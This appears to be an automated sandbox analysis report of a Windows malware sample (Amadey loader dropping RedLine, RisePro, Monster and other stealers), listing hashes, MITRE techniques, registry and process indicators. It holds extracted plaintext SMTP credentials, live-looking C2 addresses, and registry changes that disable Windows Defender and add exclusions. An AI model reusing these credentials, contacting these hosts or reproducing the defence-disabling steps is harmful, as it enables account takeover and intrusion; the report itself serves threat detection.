amadey | 0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b

Analysis

max time kernel
300s
max time network
301s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
20-06-2024 22:32

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
Size

1.9MB
MD5

ebe2cfe94b26e67c244ae2366dbfc040
SHA1

b17fd9b1c080b121c6090a409034106dc33c1a61
SHA256

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b
SHA512

28bd16b9ab397c8f9a4791e698a4ac5bf4308f2ed5cd44af02b18f5f2d67692b114d111cfe83514b77fea0995e6efc9bf7c6e1d1299ddbfb0a69d768f723c7ba
SSDEEP

49152:gEm8w+5vYt4kFf3SNDKQK0OQiJlePDPz4I5y:vzw+xYt4OSRKQNaJ0PDPzP

Score

10^/10

amadey monster redline risepro 0e6740 e76b71 newbild discovery evasion execution infostealer persistence pyinstaller spyware stealer themida trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mw-002.cafe24.com
Port:
587
Username:
[email protected]
Password:
kang5642

Extracted

Credentials

Protocol: smtp
Host:
mail.wavesmail.xyz
Port:
587
Username:
[email protected]
Password:
ZnnJ2drJcS1WUxOKJHM.7

Extracted

Credentials

Protocol: smtp
Host:
smtp.arteminta.com
Port:
587
Username:
[email protected]
Password:
Alessio@1

Extracted

Credentials

Protocol: smtp
Host:
smtp.monzali.com
Port:
587
Username:
[email protected]
Password:
Stfn@1967

Extracted

Credentials

Protocol: smtp
Host:
smtp.frontier.com
Port:
587
Username:
[email protected]
Password:
Michelle#1

Extracted

Credentials

Protocol: smtp
Host:
smtp.ar.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
itty081101

Extracted

Credentials

Protocol: smtp
Host:
smtp.ac.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
tomoko23

Extracted

Credentials

Protocol: smtp
Host:
smtp.an.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
mm6810

Extracted

Credentials

Protocol: smtp
Host:
smtp.an.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
519shoya

Extracted

Credentials

Protocol: smtp
Host:
mail.iklimsa.com
Port:
587
Username:
[email protected]
Password:
Deniz123

Extracted

Credentials

Protocol: smtp
Host:
mail.wavesmail.xyz
Port:
587
Username:
[email protected]
Password:
RuIbYp3IjwVK8c8wcdg.3

Extracted

Credentials

Protocol: smtp
Host:
smtp.ce.em-net.ne.jp
Port:
587
Username:
[email protected]
Password:
takako0725

Extracted

Credentials

Protocol: smtp
Host:
mail.wavesmail.xyz
Port:
587
Username:
[email protected]
Password:
XxUGjWzZ669ZMbDdGNU.6

Extracted

Credentials

Protocol: smtp
Host:
smtp.mediacat.ne.jp
Port:
587
Username:
[email protected]

Extracted

Family

amadey

Version

4.21

Botnet

0e6740

http://147.45.47.155

Attributes

install_dir
9217037dc9
install_file
explortu.exe
strings_key
8e894a8a4a3d0da8924003a561cfb244
url_paths
/ku4Nor9/index.php

rc4.plain

Extracted

Family

risepro

77.91.77.66:58709

Extracted

Family

amadey

Version

8254624243

Botnet

e76b71

http://77.91.77.81

Attributes

install_dir
8254624243
install_file
axplong.exe
strings_key
90049e51fabf09df0d6748e0b271922e
url_paths
/Kiru9gu/index.php

rc4.plain

Extracted

Family

redline

Botnet

newbild

185.215.113.67:40960

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detects Monster Stealer. 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\onefile_2952_133633964079776000\stub.exe	family_monster
behavioral1/memory/2404-300-0x000000013F0D0000-0x0000000140305000-memory.dmp	family_monster

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Monster
Monster is a Golang stealer that was discovered in 2024.
stealer monster
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
RedLine payload 2 IoCs

Processes:

resource yara_rule

C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe family_redline
behavioral1/memory/2552-291-0x00000000002C0000-0x0000000000310000-memory.dmp family_redline
RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
stealer risepro

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe	family_redline
behavioral1/memory/2552-291-0x00000000002C0000-0x0000000000310000-memory.dmp	family_redline

Windows security bypass 2 TTPs 40 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dSFCGoajU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\jcNPDucfvtURBvcZF = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\QVWjqfQytQiLC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\yPeEHKRKYSIU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\cksoItPsQhGrxIuH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\LIlQlxhqsAqlQuVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XPXpeEiKDyUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\dEiqbvzNTqQVhmXUeQR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

ce412bbc54.exeda_protected.exe0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exeexplortu.exe5e51633b83.exeaxplong.exea08da68092.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ce412bbc54.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	da_protected.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explortu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5e51633b83.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	axplong.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a08da68092.exe

Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

106 4632 rundll32.exe

flow	pid	process
106	4632	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.EXEpowershell.EXEpowershell.exepowershell.exe

pid	process
1700	powershell.EXE
3992	powershell.exe
1700	powershell.exe
3172	powershell.exe
5036	powershell.exe
3068	powershell.exe
1356	powershell.exe
4992	powershell.exe
4572	powershell.exe
5028	powershell.exe
3292	powershell.EXE
4356	powershell.EXE
1844	powershell.exe
4356	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 19 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

explortu.exe0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe5e51633b83.exeaxplong.exeda_protected.exerundll32.exea08da68092.exece412bbc54.exeInstall.exeInstall.exeexplortu.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5e51633b83.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	da_protected.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	axplong.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a08da68092.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a08da68092.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ce412bbc54.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ce412bbc54.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explortu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5e51633b83.exe

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

KhYUbSl.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Control Panel\International\Geo\Nation KhYUbSl.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Control Panel\International\Geo\Nation	KhYUbSl.exe

Executes dropped EXE 50 IoCs

Processes:

explortu.exeexplortu.exe5e51633b83.exeaxplong.exea08da68092.exece412bbc54.exejudit.exeredline123123.exestub.exeupd.exedeep.exeda_protected.exegold.exelummac2.exedrivermanager.exeNewLatest.exeHkbsse.exeb2c2c1.exesetup.exeInstall.exeInstall.exemonster.exestub.exelegs.exeDctooux.exeFirstZ.exeparbre.exequickaccesspopup.exesetup.exeInstall.exeInstall.exechromedriver.exesetup.exesetup.exespain.exespain.exereakuqnanrkn.exechromedriver.exenlkwja.exeJeVYnmU.exenlkwja.exenlkwja.exeKhYUbSl.exesetup.exesetup.exenlkwja.exenlkwja.exenlkwja.exe

pid	process
2900	explortu.exe
2792	explortu.exe
2028	5e51633b83.exe
1896	axplong.exe
816	a08da68092.exe
1576	ce412bbc54.exe
2952	judit.exe
2552	redline123123.exe
2404	stub.exe
3108	upd.exe
3344	deep.exe
3412	da_protected.exe
3644	gold.exe
3772	lummac2.exe
3932	drivermanager.exe
4064	NewLatest.exe
3572	Hkbsse.exe
3728	b2c2c1.exe
2988	setup.exe
872	Install.exe
1460	Install.exe
1948	monster.exe
1596	stub.exe
2300	legs.exe
2120	Dctooux.exe
3196	FirstZ.exe
3532	parbre.exe
3980	quickaccesspopup.exe
3716	setup.exe
2140	Install.exe
3140	Install.exe
296	chromedriver.exe
5096	setup.exe
3864	setup.exe
1180
3956	spain.exe
1356	spain.exe
476
820	reakuqnanrkn.exe
4568	chromedriver.exe
5012	nlkwja.exe
1264	JeVYnmU.exe
2924	nlkwja.exe
4896	nlkwja.exe
4740	KhYUbSl.exe
4248	setup.exe
2528	setup.exe
1372	nlkwja.exe
756	nlkwja.exe
4736	nlkwja.exe

Identifies Wine through registry keys 2 TTPs 7 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

Processes:

a08da68092.exece412bbc54.exe0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exeexplortu.exe5e51633b83.exeaxplong.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	a08da68092.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	ce412bbc54.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	explortu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	5e51633b83.exe
Key opened	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Wine	axplong.exe

Loads dropped DLL 64 IoCs

Processes:

0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exeexplortu.exe5e51633b83.exeaxplong.exejudit.exestub.exeWerFault.exedeep.exeWerFault.exeNewLatest.exeHkbsse.exesetup.exeInstall.exeInstall.exemonster.exestub.exeWerFault.exeb2c2c1.exeda_protected.exesetup.exeInstall.exe

pid	process
2104	0d21097b2b29da919c4df69d34e7792ba519ae1475aa2539ffc817738f9f124b.exe
2900	explortu.exe
2900	explortu.exe
2028	5e51633b83.exe
2900	explortu.exe
2900	explortu.exe
1896	axplong.exe
1896	axplong.exe
2952	judit.exe
2404	stub.exe
1896	axplong.exe
1896	axplong.exe
3156	WerFault.exe
3156	WerFault.exe
3156	WerFault.exe
1896	axplong.exe
3344	deep.exe
3344	deep.exe
3344	deep.exe
3344	deep.exe
1896	axplong.exe
3680	WerFault.exe
3680	WerFault.exe
3680	WerFault.exe
1896	axplong.exe
1896	axplong.exe
1896	axplong.exe
1896	axplong.exe
4064	NewLatest.exe
3572	Hkbsse.exe
3572	Hkbsse.exe
3572	Hkbsse.exe
2988	setup.exe
2988	setup.exe
2988	setup.exe
2988	setup.exe
872	Install.exe
872	Install.exe
872	Install.exe
872	Install.exe
1460	Install.exe
1460	Install.exe
1460	Install.exe
1896	axplong.exe
1948	monster.exe
1596	stub.exe
1896	axplong.exe
1464	WerFault.exe
1464	WerFault.exe
1464	WerFault.exe
3728	b2c2c1.exe
3728	b2c2c1.exe
3572	Hkbsse.exe
3572	Hkbsse.exe
3412	da_protected.exe
3412	da_protected.exe
1896	axplong.exe
3572	Hkbsse.exe
3716	setup.exe
3716	setup.exe
3716	setup.exe
3716	setup.exe
2140	Install.exe
2140	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\da_protected.exe	themida
behavioral1/memory/3412-475-0x0000000000200000-0x0000000000B58000-memory.dmp	themida
behavioral1/memory/3412-477-0x0000000000200000-0x0000000000B58000-memory.dmp	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

explortu.exechromedriver.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\a08da68092.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000016001\\a08da68092.exe"	explortu.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3691908287-3775019229-3534252667-1000\Software\Microsoft\Windows\CurrentVersion\Run\ChromeDriver = "C:\\Users\\Admin\\AppData\\Roaming\\ChromeDriver.exe"	chromedriver.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

da_protected.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA da_protected.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	da_protected.exe

Drops Chrome extension 2 IoCs

Processes:

KhYUbSl.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\manifest.json	KhYUbSl.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	KhYUbSl.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

71 pastebin.com
72 pastebin.com
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
persistence

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid process

1200 powercfg.exe
2992 powercfg.exe
1568 powercfg.exe
4616 powercfg.exe
4608 powercfg.exe
4600 powercfg.exe
4592 powercfg.exe
1716 powercfg.exe

flow	ioc
71	pastebin.com
72	pastebin.com

pid	process
1200	powercfg.exe
2992	powercfg.exe
1568	powercfg.exe
4616	powercfg.exe
4608	powercfg.exe
4600	powercfg.exe
4592	powercfg.exe
1716	powercfg.exe

AutoIT Executable 4 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
behavioral1/memory/1576-310-0x0000000000CE0000-0x000000000124A000-memory.dmp	autoit_exe
behavioral1/memory/1576-427-0x0000000000CE0000-0x000000000124A000-memory.dmp	autoit_exe
behavioral1/memory/1576-430-0x0000000000CE0000-0x000000000124A000-memory.dmp	autoit_exe
behavioral1/memory/1576-440-0x0000000000CE0000-0x000000000124A000-memory.dmp	autoit_exe

Drops file in System32 directory 33 IoCs

Processes:

powershell.exepowershell.exeKhYUbSl.exepowershell.exepowershell.EXEpowershell.exerundll32.exepowershell.exeJeVYnmU.exepowershell.EXEreakuqnanrkn.exepowershell.EXEpowershell.exepowershell.exepowershell.exepowershell.exeFirstZ.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	KhYUbSl.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_9FBE97E00625C0963C1CF751F29CF9B3	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	JeVYnmU.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_4780F988327458A7DCEC4A36CEB1E168	KhYUbSl.exe
File opened for modification	C:\Windows\system32\MRT.exe	reakuqnanrkn.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	KhYUbSl.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	KhYUbSl.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	KhYUbSl.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_65F72881313B5F8FFC737C28E760643D	KhYUbSl.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
